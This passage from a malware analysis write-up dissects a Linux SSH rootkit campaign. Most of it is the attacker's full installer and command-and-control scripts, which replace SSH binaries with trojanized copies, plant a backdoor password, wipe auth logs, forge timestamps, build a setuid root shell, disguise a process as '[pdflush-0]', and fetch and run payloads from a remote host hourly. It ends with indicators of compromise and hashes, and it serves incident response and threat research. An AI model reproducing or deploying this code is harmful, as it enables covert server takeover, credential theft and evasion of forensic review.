Moreover, looking in the code, there is a ILOG array which is referenced as file later in the code.That file is opened with fopen and the argument 'a' which means the file is opened for writing and append data in the end of the file. Quite a few things are stored in that file: the username, the password and the remote IP.
Again, the file name is in HEX.
>>> "2f6574632f5831312f2e707200".decode("hex") '/etc/X11/.pr\x00'
When I SSH with any valid username and the password 'PRtestD' I access the system, but the user doesn't show up in the system with the "who" command. However, this doesn't happen with a regular password. It seems that there is some kind of "Rookit" behaviour.
The content of the file "/etc/X11/.pr", contains all the user/password which have been successfully logged in the system. Also, any SCP/SFTP/SSH connection launched from that host are stored in that same file. Some nice sniffing capabilities :P
In file sshlogin.c, I found some code which checks if the password introduced is the 'backdoor' password. If it is, no records remain from that access. Nice way to hide the access :)
/* * Records that the user has logged in. I wish these parts of operating * systems were more standardized. */ void record_login(pid_t pid, const char *tty, const char *user, uid_t uid, const char *host, struct sockaddr *addr, socklen_t addrlen) { struct logininfo *li; /* save previous login details before writing new */ store_lastlog_message(user, uid); li = login_alloc_entry(pid, user, host, tty); login_set_addr(li, addr, addrlen); if(!secret_ok || secret_ok!=1){ login_login(li); login_free_entry(li); } } ... .. /* Records that the user has logged out. */ void record_logout(pid_t pid, const char *tty, const char *user) { struct logininfo *li; li = login_alloc_entry(pid, user, NULL, tty); if(!secret_ok || secret_ok!=1){ login_logout(li); login_free_entry(li); } }
Script 3 (p2): Installing the Trojanized SSH tools
The script p2, is in charge of replacing the original SSH binaries in the system with the trojanized version. The full script is below:
#!/bin/bash ############## RK full install (p2) # echo -e "\033[0;31m [-] \033[0m\033[0m" # red # echo -e "\033[0;32m [+] \033[0m\033[0m" # green # echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan echo os=`cat 1tempfiles/os.txt` rk=`cat 1tempfiles/rk.txt` side_files_dir=`cat 1tempfiles/side_files_dir.txt` maindir=`pwd` echo -e "\033[0;32m [+] \033[0m\033[0m starting full rk install" # green rkdir="$maindir/$rk" cd $rkdir ; ./run install $rk 1>>$maindir/1tempfiles/log.rkinstall 2>>$maindir/1tempfiles/log.rkinstall size_rk=`wc -c < $rk/sshd-eu` size_sshd=`wc -c < /usr/sbin/sshd` if [ "$size_rk" != "$size_sshd" ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m something is wrong. aborting. check ($maindir/1tempfiles/log.rkinstall)" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m rk install done (logs in $maindir/1tempfiles/log.rkinstall)" cd $maindir echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip install file (p3)" # green rm -rf p3 curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3 if [ ! -f p3 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi chmod +x p3 ; ./p3
The script calls the 'run' script, which it is part of the default.tgz package downloaded and has been used by Script 2 (p1) to test the SSHD compiled version.
I did not go into the details of this script, so it is worth to mentioned what it is able to do:
- Overwrite some logs files to remove evidence of the intrusion
- /var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp
- It defines a function to change the timestamp of the modified files. This function is luam_timestamp()
- Create a directory '/etc/pps' , which it is used to keep some files in future steps
- Create the file /etc/X11/.pr where all the user / passwords are kept, as explained previously
- Compile a file goprem.c which permits to gather a local root shell. The content of the file is as follow:
#include <unistd.h> int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); }
- Finally the SSH binary files are overwritten with the trojanized version, and the timestamp is changed: /usr/sbin/sshd, /usr/bin/ssh, /usr/bin/sftp, /usr/bin/scp
Content of the script:
#!/bin/bash # echo -e "\033[0;31m [-] \033[0m\033[0m" # red # echo -e "\033[0;32m [+] \033[0m\033[0m" # green # echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan if [ $# != 2 ]; then good=0 ; fi if [ "$1" == "test" ] ; then test=1 elif [ "$1" == "install" ] ; then install=1 else good=0 fi if [ "$good" = "0" ] ; then echo echo -e "\033[0;31m $0 [test | install] [rk kit] \033[0m\033[0m" # red echo -e "\033[0;36m example: $0 test 2centos6-32bits \033[0m\033[0m" #cyan echo exit fi if [ ! -s "$2" ] ; then echo echo -e "\033[0;31m $2 is not a valid rk kit \033[0m\033[0m" # red echo exit fi ### verificam daca e instalat ce folosim DEP=( '/usr/bin/curl' '/bin/sed' '/usr/bin/gcc' ) for t in "${DEP[@]}" ; do if [ -f $t ] ; then echo -ne "\033[0;32m [+] \033[0m\033[0m" # green echo "$t - found" else echo -ne "\033[0;31m [-] \033[0m\033[0m" # red echo "$t - MISSING OR EMPTY" good=0 fi done if [ "$good" = "0" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi ######## golim logurile de pe server - pe viitor tb gasita alta varianta > /var/log/messages > /var/log/secure > /var/log/lastlog > /var/log/wtmp # EOF golim logurile de pe server - pe viitor tb gasita alta varianta ######## facem directorul si fiserul de unde luam timestamp si facem functia mkdir /usr/lib/libu.a/ 2>/dev/null echo "timestamp" > /usr/lib/libu.a/TS04840203583 touch -r /usr/sbin/sshd /usr/lib/libu.a touch -r /usr/sbin/sshd /usr/lib/libu.a/TS04840203583 luam_timestamp() { touch -r /usr/lib/libu.a/TS04840203583 $1 } ####### EOF facem directorul si fiserul de unde luam timestamp si facem functia ########################################## test part if [ "$test" = "1" ] ; then # echo "doing test" if [ -s "$2/run-libcheck" ] ; then cd $2 ./run-libcheck cd .. fi echo echo -e "\033[0;36m [x] setting up permissions \033[0m\033[0m" #cyan echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "permision 400 for /etc/ssh/ssh_host*" ; chmod 400 /etc/ssh/ssh_host* echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /var/empty" ; mkdir /var/empty 1>/dev/null 2>/dev/null echo echo -e "\033[0;36m [x] moving sshd config files \033[0m\033[0m" #cyan echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo /etc/ssh/sshd_config cp -f sshd_config /etc/ssh luam_timestamp /etc/ssh/sshd_config echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo /etc/ssh/ssh_config cp -f ssh_config /etc/ssh luam_timestamp /etc/ssh/ssh_config echo echo -e "\033[0;36m [x] test ended. Now test the sshd :) \033[0m\033[0m" #cyan cd $2 rm -rf test-sshd ; cp sshd-eu test-sshd cd .. maindir=`pwd` ; workdir="$maindir/$2" echo " $workdir/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 / ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] Daca totul e bine, ruleaza ./run install $2 \033[0m\033[0m" #cyan echo exit fi # EOF test part ########################################## install part if [ "$install" = "1" ] ; then echo echo -e "\033[0;36m [x] creating sniffer files and main dir \033[0m\033[0m" #cyan echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/pps" mkdir /etc/pps ; chmod 777 /etc/pps/ luam_timestamp /etc/pps echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/X11/.pr" mkdir /etc/X11 ; chmod 777 /etc/X11/ ; > /etc/X11/.pr luam_timestamp /etc/X11/.pr echo echo -e "\033[0;36m [x] creating goprem dir & file (suid) \033[0m\033[0m" #cyan echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /usr/include/arpa" mkdir /usr/include 1>/dev/null 2>/dev/null mkdir /usr/include/arpa 1>/dev/null 2>/dev/null echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "gcc goprem.c & moving" gcc goprem.c -o goprem 2>/dev/null mv goprem /usr/include/arpa/ chown root:root /usr/include/arpa/goprem chmod +s /usr/include/arpa/goprem luam_timestamp /usr/include/arpa/goprem echo echo -e "\033[0;36m [x] getting permisions in \033[0m\033[0m" #cyan echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin" chattr -R -aui /usr/sbin/ 1>/dev/null 2>/dev/null echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin" chattr -R -aui /usr/bin/ 1>/dev/null 2>/dev/null echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/bin" chattr -R -aui /bin/ 1>/dev/null 2>/dev/null echo echo -e "\033[0;36m [x] replacing system files \033[0m\033[0m" #cyan maindir=`pwd` ; workdir="$maindir/$2" echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "saving server's sshd in /etc/pps/old-srvf/" mkdir /etc/pps/old-srvf ; cp /usr/sbin/sshd /etc/pps/old-srvf/old55hd luam_timestamp /etc/pps/old-srvf luam_timestamp /etc/pps/old-srvf/old55hd echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin/sshd" cp -f $workdir/sshd-eu /usr/sbin/sshd luam_timestamp /usr/sbin/sshd echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/ssh" cp -f $workdir/ssh /usr/bin/ssh luam_timestamp /usr/bin/ssh echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/sftp" cp -f $workdir/sftp /usr/bin/sftp luam_timestamp /usr/bin/sftp echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/scp" cp -f $workdir/scp /usr/bin/scp luam_timestamp /usr/bin/scp echo echo -e "\033[0;36m [x] moving to the last step (sshd restart file) \033[0m\033[0m" #cyan echo " mv s_res /tmp/.bla ; cd /tmp/.bla ; rm -rf rkkit*" echo " nohup ./s_res 1>/dev/null 2>/dev/null " echo " tar zxf side_files.tgz -C /etc/pps ; cd /etc/pps/side_files ; rm -rf /tmp/.bla" echo exit fi # EOF install part
Script 4 (p3):
The p3 script is pulled by the script p2 using the command curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3. And then it is executedAgain, this script pulls additional tools from http://gopremium.mooo.com/.../auto/side_files.tgz
Before taking a look into the content of the additional script and what it does, I'll check the output.
The are several things here, but one that it very interesting is the last line, where all information about the compromised system together with the IP of the host is displayed. Even, there is a unique ID assigned to this system. This information is kept by the cyber criminals to track all their compromised systems
The full content of the P3 script is below:
#!/bin/bash ############## rkip install (p3) # echo -e "\033[0;31m [-] \033[0m\033[0m" # red # echo -e "\033[0;32m [+] \033[0m\033[0m" # green # echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan os=`cat 1tempfiles/os.txt` rk=`cat 1tempfiles/rk.txt` side_files_dir=`cat 1tempfiles/side_files_dir.txt` maindir=`pwd` echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip" # green rm -rf side_files.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/side_files.tgz if [ ! -f side_files.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rkip install" # green if [ -z $side_files_dir ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m no side_files_dir. aborting" ; echo ; exit ; fi rm -rf /etc/pps/side_files tar mzxf side_files.tgz ; rm -rf side_files.tgz ; cp -R side_files /etc/pps rkipdir="/etc/pps/side_files" cd $rkipdir ; yes y | ./install $side_files_dir 1>>$maindir/1tempfiles/log.rkip 2>>$maindir/1tempfiles/log.rkip node_process_id=$(pidof [pdflush-0]) if [[ -z $node_process_id ]]; then #echo " nu exista" echo -e "\033[0;31m [-] \033[0m\033[0m background proccess did not start. aborting. check ($maindir/1tempfiles/log.rkip). script in /etc/pps/side_files" echo ; exit fi echo -e "\033[0;32m [+] \033[0m\033[0m rkip install done (logs in $maindir/1tempfiles/log.rkip)" echo -e "\033[0;36m [x] \033[0m\033[0m write this down in your notepad :)" #cyan echo id_unic=`cat $maindir/1tempfiles/log.rkip|grep NOTEPAD` echo "$id_unic" echo #### cleaning shit out cd /etc/pps ; rm -rf side_files ; ./dep-safe.arhivez rm -rf $maindir
Analysis of side_files.tgz tools
The install script
The main script 'install' performs several actions. It defines a function "timestamp-ptty" to modified the timestamp of some files in order to make more difficult any forensic investigation. The timestamp chosen is the same than timestamp from /bin/ls. Quite interesting :)
Also, it checks that there is some URL defined, which will be used later for some checks
Finally, it calls another script, "dep-install_install2", which it is part of "side_files.tgz" as well.
Finally, it calls another script, "dep-install_install2", which it is part of "side_files.tgz" as well.
The full content of the 'install' script is below:
#!/bin/bash # echo -ne "\033[0;31m [-] \033[0m\033[0m" # red # echo -ne "\033[0;32m [+] \033[0m\033[0m" # green # echo -ne "\033[0;36m xxx \033[0m\033[0m" #cyan if [ $# != 1 ]; then echo echo -e "\033[0;31m $0 [... | .unix] \033[0m\033[0m" # red echo -e "\033[0;36m [... | .unix] = which main server dir is used \033[0m\033[0m" #cyan echo exit; fi ; echo ############## facem linkul de la main server in functie de director myhost="gopremium.mooo.com" main_link="http://$myhost/$1" mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null ## adaog timestamp echo "timestamp-ptty" > /usr/lib/libu.a/TS8402386704 touch -r /bin/ls /usr/lib/libu.a touch -r /bin/ls /usr/lib/libu.a/TS8402386704 luam_timestamp() { touch -r /usr/lib/libu.a/TS8402386704 $1 } ## EOF adaog timestamp echo "$main_link" > /usr/lib/libu.a/l3290367235 luam_timestamp /usr/lib/libu.a/l3290367235 main_link_check=`cat /usr/lib/libu.a/l3290367235` if [ "$main_link" == "$main_link_check" ] ; then #echo "aceleasi linkuri" echo -ne "\033[0;32m [+] \033[0m\033[0m" # green echo "main server link: $main_link_check" good=1 else #echo "difera" echo -ne "\033[0;31m [-] \033[0m\033[0m" # red echo "there is something wrong with the main_link." good=0 fi if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi echo -ne "\033[0;36m [x] \033[0m\033[0m" #cyan echo -n "press any key if link is okay" ; read a # EOF facem linkul de la main server in functie de director ### verificam daca e instalat ce folosim DEP=( '/usr/bin/curl' '/bin/sed' '/usr/bin/gcc' 'dep-install_install2' 'dep-install_ptty' ) for t in "${DEP[@]}" ; do if [ -f $t ] ; then echo -ne "\033[0;32m [+] \033[0m\033[0m" # green echo "$t - found" else echo -ne "\033[0;31m [-] \033[0m\033[0m" # red echo "$t - MISSING OR EMPTY" good=0 fi done if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi echo -ne "\033[0;36m [x] \033[0m\033[0m" #cyan echo "starting dep-install_install2" ./dep-install_install2
The first part of the script uses the same trick to modify the timestamp of the files.
Then, it queries the URL http://gopremium.mooo.com/.unix/return_ip.php in order to figure out the public IP of the compromised system-
There is also a function to generated a unique random ID, which it is used to identify the compromised system
Moreover, the script compiles "events.c", which it is a program that runs every hour in order to launch another command: /usr/bin/ptty. It even defines a fake name "[pdflush-0]". pdfflush is a process usually running in Linux systems for caching purposes. Another interesting technique to hide the malicious process.
The content of events.c is below
The content of events.c is below
#include <stdio.h> #include <pthread.h> #define FAKE "[pdflush-0]" int main(int argc, char **argv){ strcpy(argv[0],FAKE); while (1) { sleep(3600); system("/usr/sbin/ptty 1>>/dev/null 2>>/dev/null"); } return 0; }
The command /usr/sbin/ptty called in the events C code, is the script dep-install_ptty, which it is part of the TGZ file. I'll explain later the content of this script but I advance it is the C&C communication module.
Next thing done by this script is to ensure the "event" binary (just compiled) is executed. This is done through modifying the file /etc/init/env.conf in order to include a call to the shell script /usr/sbin/env. /usr/sbin/env is charge of calling the events binary.
Content of the modified cron (note the final line and call to /usr/sbin/env)
# env - Event System Register description "Event System Register" start on runlevel [2345] stop on runlevel [!2345] respawn exec /usr/sbin/env
"/usr/bin/env" is also part of the side_files.tgz and basically calls the compiled binary 'events'.
Code of /usr/sbin/env:
Code of /usr/sbin/env:
killall -9 events 1>/dev/null 2>/dev/null nohup events 1>/dev/null 2>/dev/null &
The multiple calls through different files to executed the malicious file, together with some of the binary files and configuration files, demonstrate the interested Cyber Criminals to be stealthy.
Lastly, the script sends a HTTP request to the server, in order to inform that a new system has been compromised. This happens through the URL http://gopremium.mooo.com/.unix/srv-newinstall.php
Analysis of "dep-install_ptty" script
This script is in charged of communicating with the C&C and it runs every hour. The script does several things:
- Check if there is some user connected to the system, and depending on that the rest of the script is executed or not
- Download any new update from the URL http://gopremium.mooo.com/.unix/srvupdt.tgz.
- Download any update for this specific compromised system. This is done through the URL http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz (where IDXYZ is the unique ID for this system)
- Check if the IP has changed. For that, it queries the URL http://gopremium.mooo.com/.unix/return_ip.php and compares with the previous IP.
- Check if there has been any change in SSHD binary, in the IP or if the server has been down, and send that information to the C&C through the URL http://gopremium.mooo.com//.unix/srv.php?ip=XXXXip_changed=NO&sshd_changed=NO&sshd_backup_missing=NO&srv_was_down=YES&ptty_ver=3.0 (where XXXX is the current IP)
#!/bin/bash ptty_ver="3.0" ######### verificam daca e cineva logat si nu are idle. logati_fara_idle=`w|grep -v 'southsea\|inordkuo\|localte\|lolo'|grep -v days|cut -c43-50|grep s` if [[ -z $logati_fara_idle ]] ; then # echo "nu e nimeni activ pe server" useri=0 else # echo "sunt useri activi pe server" useri=1 fi # EOF verificam daca e cineva logat si nu are idle. ######## continuam cu scriptul DOAR DACA nu sunt useri activi pe server if [ "$useri" == "0" ] ; then ####### verificam daca merge dns-ul, daca nu, adaogam nameserver dns=`cat /etc/resolv.conf |grep 208.67.220.222` if [[ -z $dns ]] ; then # echo "dns nu e bun" echo "nameserver 208.67.220.222" >> /etc/resolv.conf fi # EOF verificam daca merge dns-ul, daca nu, adaogam nameserver ####### continuam cu scriptul DOAR DACA merge netul, verificam pe google url_check_net="http://google.com" if curl --output /dev/null --silent --head --fail "$url_check_net"; then # echo "URL exists: $url_check_net - merge netul" ip=`cat /usr/lib/libu.a/i1935678123` id_unic=`cat /usr/lib/libu.a/g239293471` # id unic pt fiecare server in parte, e generat la install url=`cat /usr/lib/libu.a/l3290367235` # hostul principal il ia din txt #url="http://192.168.137.177/test/sc/test" # hostul principal. E DEFINIT IN ptty SI IN install ### adaog timestamp luam_timestamp() { touch -r /usr/lib/libu.a/TS8402386704 $1 2>/dev/null } # EOF timestamp luam_timestamp /usr/lib/libu.a luam_timestamp /usr/lib/libu.a/l3290367235 luam_timestamp /usr/lib/libu.a/i1935678123 luam_timestamp /usr/lib/libu.a/g239293471 ######### DACA EXISTA ARHIVA srvupdt.tgz PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA. url_srvupdt="$url/srvupdt.tgz" # il pui daca vrei sa lansezi un script pe servere url_srvupdt_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt.tgz" # intra pe el ca sa confirme ca a tras arhiva if curl --output /dev/null --silent --head --fail "$url_srvupdt"; then # echo "URL exists: $url_srvupdt" curl -s "${url_srvupdt_confirmare}" 1>/dev/null 2>/dev/null & tempdir="/tmp/.tmp" rm -rf "$tempdir" 1>/dev/null 2>/dev/null mkdir "$tempdir" 1>/dev/null 2>/dev/null curl --silent "$url_srvupdt" --output "$tempdir"/srvupdt.tgz 2>/dev/null cd "$tempdir" 2>/dev/null tar zxvf srvupdt.tgz 1>/dev/null 2>/dev/null cd srvupdt 1>/dev/null 2>/dev/null ./install & 2>/dev/null fi # EOF DACA EXISTA ARHIVA PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA ######### ARHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic url_id_unic="$url/srvupdt_$id_unic.tgz" url_id_unic_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt_$id_unic.tgz" # intra pe el ca sa confirme ca a tras arhiva if curl --output /dev/null --silent --head --fail "$url_id_unic"; then # echo "URL exists: $url_id_unic" curl -s "${url_id_unic_confirmare}" 1>/dev/null 2>/dev/null & tempdir="/var/tmp/.tmp" rm -rf "$tempdir" 1>/dev/null 2>/dev/null mkdir "$tempdir" 1>/dev/null 2>/dev/null curl --silent "$url_id_unic" --output "$tempdir"/srvupdt_$id_unic.tgz 2>/dev/null cd "$tempdir" 2>/dev/null tar zxvf srvupdt_$id_unic.tgz 1>/dev/null 2>/dev/null cd srvupdt_$id_unic 1>/dev/null 2>/dev/null ./install & 2>/dev/null fi # EOF RHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic ########## PORNIM RESTUL SCRIPTULUI changes=0 ip_changed="NO" sshd_changed="NO" sshd_backup_missing="NO" srv_was_down="NO" ######## verificam ce ip are serverul url_return_ip="$url/return_ip.php" # din el ia valoarea $new_ip fiecare server if curl --output /dev/null --silent --head --fail "$url_return_ip"; then new_ip=`curl -s "$url_return_ip"|grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'` fi # EOF verificam ce ip are serverul ####### verificam daca s-a schimbat ip-ul if [ "$ip" != "$new_ip" ] ; then # s-a schimbat ip-ul changes=1 ip_changed="$new_ip" fi # EOF verificam daca s-a schimbat ip-ul ####### verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd if [ -f /usr/lib/libu.a/m9847292 ] ; then # exista fisierul nostru de rk size_rk=`wc -c < /usr/lib/libu.a/m9847292` size_sshd=`wc -c < /usr/sbin/sshd` if [ "$size_rk" != "$size_sshd" ] ; then # cineva a schimbat sshd-ul ### punem sshd-ul meu inapoi cp /usr/lib/libu.a/m9847292 /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null chattr -aui /usr/sbin/sshd 1>>/dev/null 2>>/dev/null mv -f /usr/lib/libu.a/sshd /usr/sbin/sshd 1>>/dev/null 2>>/dev/null rm -rf /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null killall -9 sshd 1>>/dev/null 2>>/dev/null luam_timestamp /usr/sbin/sshd /usr/sbin/sshd 1>>/dev/null 2>>/dev/null # EOF punem sshd-ul meu inapoi changes=1 sshd_changed="YES" fi else # cineva a sters fisierul nostru de rk (backup-ul) changes=1 sshd_backup_missing="YES" sshd_changed="UNKNOWN" fi # EOF verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd ####### verificam daca sshd e pornit, daca nu, il pornim noi sshd_process=`ps x | grep -v grep|grep sshd` if [[ -z $sshd_process ]]; then # echo "nu ruleaza" /usr/sbin/sshd 1>>/dev/null 2>>/dev/null # nu mai dau notificare daca am pornit eu sshd # changes=1 fi # EOF verificam daca sshd e pornit, daca nu, il pornim noi ###### verificam daca a fost cazut netul if [ -f /usr/lib/libu.a/h439302s ] ; then # serverul a fost cazut changes=1 srv_was_down="YES" fi ##### DACA scriptul detecteaza schimbari, intram pe link if [ "$changes" = 1 ] ; then ### trimitem datele catre server curl -s "${url}/srv.php?ip=${ip}&ip_changed=${ip_changed}&sshd_changed=${sshd_changed}&sshd_backup_missing=${sshd_backup_missing}&srv_was_down=${srv_was_down}&ptty_ver=${ptty_ver}" 1>/dev/null 2>/dev/null & fi # EOF DACA scriptul detecteaza schimbari, intram pe link # EOF PORNIM RESTUL SCRIPTULUI else # echo "URL does NOT exist: $url_check_net - NU merge netul" mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null ## in caz ca ne-a sters cineva dir echo "srv was down" > /usr/lib/libu.a/h439302s 2>/dev/null luam_timestamp /usr/lib/libu.a/h439302s fi # EOF continuam cu scriptul DOAR DACA merge netul, verificam pe google fi # EOF continuam cu scriptul DOAR DACA nu sunt useri activi pe server
Finally, the P3 script runs some commands and scripts to remove all the temporal files
So in Summary, we are dealing with:
- Backdoor capabilities
- A rootkit and backdoor for Linux system across different platforms and architecture
- Local rootshell
- The main SSHD binary is overwritten with a malicious binary. This binary contains a backdoor password to ensure access. Also, any access with that password is not tracked. This password is PRtestD
- Multi architecture and modular approach:
- It uses a modular approach with different scripts involved.
- Depending on the OS and the architecture different files are download and executed.
- Sniffing capabilities: Several other binaries like scp, sftp, ssh are trojanized to steal username / passwords
- Anti-forensic capabilities:
- Remove some logs to delete evidences (/var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp)
- Modify timestamp of files
- Rootkit capabilities:
- Hidden processes and files through different techniques
- C2C capabilities:
- Communication with C&C every hour to inform of any change in the system (eg: new IP)
- Communication with C&C every hour to pull any update
IOCs
5.189.136.43
http://gopremium.mooo.com/.../auto/p
http://gopremium.mooo.com/.../auto/p1
http://gopremium.mooo.com/.../auto/arm61.tgz
http://gopremium.mooo.com/.../auto/arm71.tgz
http://gopremium.mooo.com/.../auto/vyos.tgz
http://gopremium.mooo.com/.../auto/vyos64.tgz
http://gopremium.mooo.com/.../auto/edgeos.tgz
http://gopremium.mooo.com/.../auto/edgeos64.tgz
http://gopremium.mooo.com/.../auto/default.tgz
http://gopremium.mooo.com/.../auto/p2
http://gopremium.mooo.com/.../auto/p3
http://gopremium.mooo.com/.../auto/side_files.tgz
http://gopremium.mooo.com/.unix/return_ip.php
http://gopremium.mooo.com/.unix/srvupdt.tgz
http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz
http://gopremium.mooo.com//.unix/srv.php
/etc/X11/.pr
/etc/pps
/usr/bin/ptty
/etc/init/env.conf (containing /usr/sbin/env)
/usr/bin/events/events
MD5 (arm61/arm61/run-libcheck) = 34976ac680474edd12d16d84470bd702
MD5 (arm61/arm61/scp) = 5eb1b59dbcd806ce41858bf40e10cab0
MD5 (arm61/arm61/sftp) = dce8fc0c3ddf0351e4e81f404b85d7bb
MD5 (arm61/arm61/ssh) = aeae5ae324e118021cb7e7ee7d5e7a26
MD5 (arm61/arm61/sshd) = 7aadb643f8345fb59e8998e18209f71a
MD5 (arm61/arm61/sshd-eu) = 7aadb643f8345fb59e8998e18209f71a
MD5 (vyos/vyos/scp) = 6797f4801407052832ff482d5b1acf06
MD5 (vyos/vyos/sftp) = 2d3a350e5210255f89a61a082254233f
MD5 (vyos/vyos/ssh) = 5b3193530738e8e658c5ab8f63b5ee0d
MD5 (vyos/vyos/sshd-eu) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos/vyos/test-sshd) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos64/vyos64/scp) = 300f7413eb76bf6905df1f5182e52f9e
MD5 (vyos64/vyos64/sftp) = 01a4f0f38096df67e13c6e9ed7ccc205
MD5 (vyos64/vyos64/ssh) = 3e7dfbac340929fc54aa459cc7ad181b
MD5 (vyos64/vyos64/sshd-eu) = b327add04800e05480a020af2ab993e0
MD5 (vyos64/vyos64/test-sshd) = b327add04800e05480a020af2ab993e0
MD5 (edgeos/edgeos/scp) = ce8e196db65bed7862d98d4a14283ae4
MD5 (edgeos/edgeos/sftp) = 0e34c468857e5e3d66ec2f0bd223d38c
MD5 (edgeos/edgeos/ssh) = 47f2e08da73bb5e5d6c61d347d1bfbf1
MD5 (edgeos/edgeos/sshd-eu) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos/edgeos/test-sshd) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos64/edgeos64/scp) = 602793976e2f41b5a1942cfd2784d075
MD5 (edgeos64/edgeos64/sftp) = e597cfee6f877e82339fab3e322d79b7
MD5 (edgeos64/edgeos64/ssh) = d5f6794c3b41f1d7f12715ba3315fd7b
MD5 (edgeos64/edgeos64/sshd) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/sshd-eu) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/test-sshd) = e597cfee6f877e82339fab3e322d79b7